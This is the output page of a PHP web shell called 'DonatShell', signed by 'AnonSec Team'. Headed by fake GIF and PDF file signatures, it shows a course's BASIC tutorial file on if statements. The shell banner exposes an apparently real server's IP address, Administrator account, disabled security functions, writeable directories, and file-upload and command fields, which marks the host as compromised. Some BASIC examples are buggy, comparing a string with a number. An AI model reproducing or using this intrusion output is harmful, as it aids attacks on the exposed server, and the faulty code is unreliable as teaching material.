GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles//if.bas
' if statements

' syntax:

' if <expression> then <statement>

' if <expression> then <statement> else <statement>

' if <expression> then
'   <statementblock>
' end if

' if <expression> then
'   <statementblock>
' else
'   <statementblock>
' end if

' examples:

' if with numeric expression
num1=27
num2=55
' if..then
if num1>num2 then print num1;" is greater than ";num2
' if..then..else
if num1>num2 then print num1;" is greater than ";num2 else print num2;" is greater than ";num1
' if..then..end if
if num1>num2 then 
    smallest=num2
    print num1;" is greater than ";num2
end if
' if..then..else..endif
if num1>num2 then 
    smallest=num2
    print num1;" is greater than ";num2 
else 
    smallest=num1
    print num2;" is greater than ";num1
end if

' if with numeric expression
name$="Jim"
' if..then
if name$="Jim" then print name$;" is a cool name."
' if..then..else
if name$>num2 then print name$;" is a cool name." else print "Don't you wish you name was Jim instead of ";name$;"?"
' if..then..end if
if name$>num2 then
    smallest=num2
    print name$;" is greater than ";num2
end if
' if..then..else..endif
if name$>num2 then
    smallest=num2
    print num1;" is greater than ";num2
else
    smallest=name$
    print num2;" is greater than ";num1
end if


Anon7 - 2022
AnonSec Team